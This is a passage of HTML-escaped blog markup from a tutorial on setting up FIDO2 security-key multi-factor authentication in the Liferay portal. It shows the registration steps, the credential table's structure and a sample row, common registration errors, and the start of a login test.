&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source 1 - OSGi configuration file related to the FIDO2 module&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;4-authenticator-registration-procedure&quot;&gt;4. Authenticator registration procedure&lt;/h2&gt;&lt;p&gt;Once FIDO2 is enabled, users will be able to add &lt;em&gt;authenticators&lt;/em&gt;
directly from the user&amp;#x27;s account settings by following the steps
indicated below. This process implements the registration flow
of the WebAuthn credentials described above and shown in Figure 1.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Click on your profile picture&lt;/li&gt;&lt;li&gt;Click &lt;em&gt;Account Settings&lt;/em&gt;&lt;/li&gt;&lt;li&gt;A new tab will appear at the top, called &lt;em&gt;Multi-Factor Authentication&lt;/em&gt;, so click on it&lt;/li&gt;&lt;li&gt;Make sure your FIDO2 compliant device is connected to your PC (for example via USB)&lt;/li&gt;&lt;li&gt;To register the authenticator, click the large blue button labeled &lt;em&gt;Register a FIDO2 Authenticator&lt;/em&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:788px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/97034b1b20def3a46ac8d055700ea661/ea7fb/user-account-settings-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:152.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;609\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20609\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M348%2020c-12%202-21%2014-20%2026%203%2024%2035%2030%2045%209%209-18-6-39-25-35m-3%202c-17%207-20%2031-5%2040%2023%2014%2046-15%2029-34-6-6-17-8-24-6m-68%2015c-6%204-2%2013%205%2012%202-1%203%200%205%201%203%202%204%200%202-2l-2-5c0-4-1-5-4-7-3-1-3-1-6%201m70%209l-2%203c0%204%2012%205%2014%201%203-5-8-8-12-4m-8%2072c-4%205-1%2012%205%2012%207%200%2010-8%204-12-3-3-6-3-9%200M33%20447\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/97034b1b20def3a46ac8d055700ea661/c85cb/user-account-settings-1.webp 300w,/static/97034b1b20def3a46ac8d055700ea661/e88ff/user-account-settings-1.webp 600w,/static/97034b1b20def3a46ac8d055700ea661/4d911/user-account-settings-1.webp 788w&quot; sizes=&quot;(max-width: 788px) 100vw, 788px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/97034b1b20def3a46ac8d055700ea661/5a46d/user-account-settings-1.png 300w,/static/97034b1b20def3a46ac8d055700ea661/0a47e/user-account-settings-1.png 600w,/static/97034b1b20def3a46ac8d055700ea661/ea7fb/user-account-settings-1.png 788w&quot; sizes=&quot;(max-width: 788px) 100vw, 788px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 9 - Access to account settings&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/97034b1b20def3a46ac8d055700ea661/ea7fb/user-account-settings-1.png&quot; title=&quot;Figure 9 - Access to account settings&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 9 - Access to account settings&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;When you proceed with registration, your browser may show
security warnings, such as those shown below that they do
reference to Firefox (version 100.0.1 64bit). Other browsers may have
different behaviors but with the same intent.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1012px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/eceddad60fcb0387af106f9775b71626/ad997/user-account-settings-mfa-fido-registration-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;202\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20202\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M62%2012l-2%203c0%201%201%201%202-1l4-2c2%200%202%200%200%201l-3%202-3%202-1%202c0%202%200%202%203%202%203-1%203-1%202%201l2-1h4l1-4c0-6-6-9-9-5m191%2046c-1%201-2%202-3%201h-2c-1%200-1%201%201%201v1c-3%200-2%203%200%203s3-1%203-2l1-2v2c0%203%202%203%202%200l1-2%201%202c0%203%202%203%202%200v-2l1%202c1%202%205%203%205%200h1c1%202%205%203%205%201h-1l-2-1c0-2%201-2%202-2h1c0-2-2-2-4-1h-5c-2%201-4%200-2-2l-1-1-2%202-1%201-1-1c1-3-1-2-2%200M25%2067v6c2%201%202%202%201%202-2%201%200%203%203%203%204%200%204%200%204-7v-5l-3-1-5%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/eceddad60fcb0387af106f9775b71626/c85cb/user-account-settings-mfa-fido-registration-1.webp 300w,/static/eceddad60fcb0387af106f9775b71626/e88ff/user-account-settings-mfa-fido-registration-1.webp 600w,/static/eceddad60fcb0387af106f9775b71626/2dbb9/user-account-settings-mfa-fido-registration-1.webp 1012w&quot; sizes=&quot;(max-width: 1012px) 100vw, 1012px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/eceddad60fcb0387af106f9775b71626/5a46d/user-account-settings-mfa-fido-registration-1.png 300w,/static/eceddad60fcb0387af106f9775b71626/0a47e/user-account-settings-mfa-fido-registration-1.png 600w,/static/eceddad60fcb0387af106f9775b71626/ad997/user-account-settings-mfa-fido-registration-1.png 1012w&quot; sizes=&quot;(max-width: 1012px) 100vw, 1012px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 10 - Browser warning that the application is requesting the use of your Security Key&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/eceddad60fcb0387af106f9775b71626/ad997/user-account-settings-mfa-fido-registration-1.png&quot; title=&quot;Figure 10 - Browser warning that the application is requesting the use of your Security Key&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 10 - Browser warning that the application is requesting the use of your Security Key&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:982px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/52d91d9145f9e460069dfed041ec3e06/84a90/user-account-settings-mfa-fido-registration-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;148\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20148\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M17%2013c-3%202-3%202-2%205%202%206%205%208%209%205%205-6%200-14-7-10m8%2056v7c2%201%202%202%201%202-2%201%200%203%203%203%204%200%205-2%205-8%200-4-1-4-4-5l-5%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/52d91d9145f9e460069dfed041ec3e06/c85cb/user-account-settings-mfa-fido-registration-2.webp 300w,/static/52d91d9145f9e460069dfed041ec3e06/e88ff/user-account-settings-mfa-fido-registration-2.webp 600w,/static/52d91d9145f9e460069dfed041ec3e06/4c092/user-account-settings-mfa-fido-registration-2.webp 982w&quot; sizes=&quot;(max-width: 982px) 100vw, 982px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/52d91d9145f9e460069dfed041ec3e06/5a46d/user-account-settings-mfa-fido-registration-2.png 300w,/static/52d91d9145f9e460069dfed041ec3e06/0a47e/user-account-settings-mfa-fido-registration-2.png 600w,/static/52d91d9145f9e460069dfed041ec3e06/84a90/user-account-settings-mfa-fido-registration-2.png 982w&quot; sizes=&quot;(max-width: 982px) 100vw, 982px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 11 - The browser invites you to use the Security Key to connect and authorize the portal&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/52d91d9145f9e460069dfed041ec3e06/84a90/user-account-settings-mfa-fido-registration-2.png&quot; title=&quot;Figure 11 - The browser invites you to use the Security Key to connect and authorize the portal&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 11 - The browser invites you to use the Security Key to connect and authorize the portal&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Once the registration process has been completed successfully, you should
see your Security Key or Authenticator (to stay within the terms of FIDO2)
registered on your account. From now on you will be able to log in
to the Liferay portal using your Security Key as another factor
authentication.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/eb645/user-account-settings-mfa-fido-registration-3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;215\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20215\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%207c-4%203-2%209%203%209%204%200%206-2%206-6%200-5-5-6-9-3m70%20124v7l1%205h118v-13h-59l-60%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/c85cb/user-account-settings-mfa-fido-registration-3.webp 300w,/static/6c6d47f42ec853967bd7e4c6869586e4/e88ff/user-account-settings-mfa-fido-registration-3.webp 600w,/static/6c6d47f42ec853967bd7e4c6869586e4/92f8c/user-account-settings-mfa-fido-registration-3.webp 1200w,/static/6c6d47f42ec853967bd7e4c6869586e4/62ed8/user-account-settings-mfa-fido-registration-3.webp 1800w,/static/6c6d47f42ec853967bd7e4c6869586e4/46261/user-account-settings-mfa-fido-registration-3.webp 2400w,/static/6c6d47f42ec853967bd7e4c6869586e4/bca93/user-account-settings-mfa-fido-registration-3.webp 2500w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/5a46d/user-account-settings-mfa-fido-registration-3.png 300w,/static/6c6d47f42ec853967bd7e4c6869586e4/0a47e/user-account-settings-mfa-fido-registration-3.png 600w,/static/6c6d47f42ec853967bd7e4c6869586e4/c1b63/user-account-settings-mfa-fido-registration-3.png 1200w,/static/6c6d47f42ec853967bd7e4c6869586e4/d61c2/user-account-settings-mfa-fido-registration-3.png 1800w,/static/6c6d47f42ec853967bd7e4c6869586e4/97a96/user-account-settings-mfa-fido-registration-3.png 2400w,/static/6c6d47f42ec853967bd7e4c6869586e4/eb645/user-account-settings-mfa-fido-registration-3.png 2500w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 12 - FIDO2 Security Key registered on the user&amp;#x27;s account&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/c1b63/user-account-settings-mfa-fido-registration-3.png&quot; title=&quot;Figure 12 - FIDO2 Security Key registered on the user&amp;#x27;s account&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 12 - FIDO2 Security Key registered on the user&amp;#x27;s account&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;After registration is complete, the information is stored in the table
&lt;code&gt;mfafido2credentialentry&lt;/code&gt; from Liferay whose structure is shown below.
The public key is available among the stored information
(in &lt;code&gt;credentialkey&lt;/code&gt;).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lportal=&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# \d mfafido2credentialentry;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; mvccversion               | bigint                      |           | not null | 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; mfafido2credentialentryid | bigint                      |           | not null |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; companyid                 | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; userid                    | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; username                  | character varying(75)       |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; createdate                | timestamp without &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; zone |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; modifieddate              | timestamp without &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; zone |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; credentialkey             | text                        |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; credentialkeyhash         | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; credentialtype            | integer                     |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; failedattempts            | integer                     |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; publickeycose             | character varying(128)      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; signaturecount            | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Structure of the mfafido2credentialentry table&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The data contained in the table are shown below &lt;code&gt;mfafido2credentialentry&lt;/code&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lportal=&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# select * from mfafido2credentialentry;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mvccversion               | 8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mfafido2credentialentryid | 44754&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;companyid                 | 34701&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;userid                    | 44725&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;username                  | Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;createdate                | 2022-05-19 16:37:18.277&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;modifieddate              | 2022-05-19 23:53:10.883&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;credentialkey             | bzLIWZQhw1fEuKlRrdNAoJxYJR/g1Z+BgRhbywlMp8hA9rqIJSyUPq9kS2xxLj3Ps1wSsr4nrNgjVirGz4oCOA==&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;credentialkeyhash         | 236161127&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;credentialtype            | 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;failedattempts            | 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;publickeycose             | pQECAyYgASFYIN4KLjv3JhB4SMwAB8e43wDEMDXJvM7Ag8Z7xxqFlDRrIlggO8V4jr/1JZcsj5kybUQfzDTG0vJvZi2yi4M6XTsfMXI=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;signaturecount            | 27&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Contents of the mfafido2credentialentry table which contains the registration data of the Security Key&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In some cases it may happen that the registration process does not go to
successful and the most common reasons are generally:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The browser version does not support the WebAuthn protocol. In this case I recommend updating the browser and consulting the document &lt;a href=&quot;https://fidoalliance.org/fido2-2/fido2-web-authentication-webauthn/&quot;&gt;FIDO2: Web Authentication (WebAuthn)&lt;/a&gt; and in particular the chapter &lt;em&gt;Support for FIDO2: WebAuthn and CTAP - Browsers and Platforms&lt;/em&gt;&lt;/li&gt;&lt;li&gt;The hardware device (or authenticator) is not supported by your operating system. Refer to the technical documentation of the Security Key&lt;/li&gt;&lt;li&gt;The hardware device does not comply with the FIDO2 specification. Refer to the technical documentation of the Security Key&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The figure below shows the message in case of errors in the process
registration. Consulting the portal log file should help
understand the cause of the registration error.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/7f2ab/user-account-settings-mfa-fido-registration-4.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:36%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;145\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20145\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M83%20108v14h96v-14H83\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/c85cb/user-account-settings-mfa-fido-registration-4.webp 300w,/static/73c30e81911a3e98c8419f5b9051bbf1/e88ff/user-account-settings-mfa-fido-registration-4.webp 600w,/static/73c30e81911a3e98c8419f5b9051bbf1/92f8c/user-account-settings-mfa-fido-registration-4.webp 1200w,/static/73c30e81911a3e98c8419f5b9051bbf1/62ed8/user-account-settings-mfa-fido-registration-4.webp 1800w,/static/73c30e81911a3e98c8419f5b9051bbf1/15dde/user-account-settings-mfa-fido-registration-4.webp 2236w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/5a46d/user-account-settings-mfa-fido-registration-4.png 300w,/static/73c30e81911a3e98c8419f5b9051bbf1/0a47e/user-account-settings-mfa-fido-registration-4.png 600w,/static/73c30e81911a3e98c8419f5b9051bbf1/c1b63/user-account-settings-mfa-fido-registration-4.png 1200w,/static/73c30e81911a3e98c8419f5b9051bbf1/d61c2/user-account-settings-mfa-fido-registration-4.png 1800w,/static/73c30e81911a3e98c8419f5b9051bbf1/7f2ab/user-account-settings-mfa-fido-registration-4.png 2236w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 13 - Error in case of unsuccessful registration&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/c1b63/user-account-settings-mfa-fido-registration-4.png&quot; title=&quot;Figure 13 - Error in case of unsuccessful registration&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 13 - Error in case of unsuccessful registration&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;5-authentication-test-with-fido2&quot;&gt;5. Authentication test with FIDO2&lt;/h2&gt;&lt;p&gt;Now that the authenticator is registered in your profile, you can use it
to access the Liferay portal. &lt;/p&gt;&lt;p&gt;After you have entered your own correctly
username and password (via the standard login widget), the
button that offers the possibility to verify the identity using
the registered FIDO2 authenticator (see figure below). &lt;/p&gt;&lt;p&gt;In case of problems with access via FIDO2, it is still possible to request the
access OTP via e-mail.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/6f969/user-login-via-FIDO-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:34%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;137\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20137\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%2011c-4%204-2%207%203%208s9-5%205-8c-2-3-6-2-8%200m5%2076l-1%206v6h24V86H26l-12%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/c85cb/user-login-via-FIDO-1.webp 300w,/static/6cc998df79ea3e440f7f02cf67f99f59/e88ff/user-login-via-FIDO-1.webp 600w,/static/6cc998df79ea3e440f7f02cf67f99f59/92f8c/user-login-via-FIDO-1.webp 1200w,/static/6cc998df79ea3e440f7f02cf67f99f59/62ed8/user-login-via-FIDO-1.webp 1800w,/static/6cc998df79ea3e440f7f02cf67f99f59/46261/user-login-via-FIDO-1.webp 2400w,/static/6cc998df79ea3e440f7f02cf67f99f59/5e823/user-login-via-FIDO-1.webp 2518w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
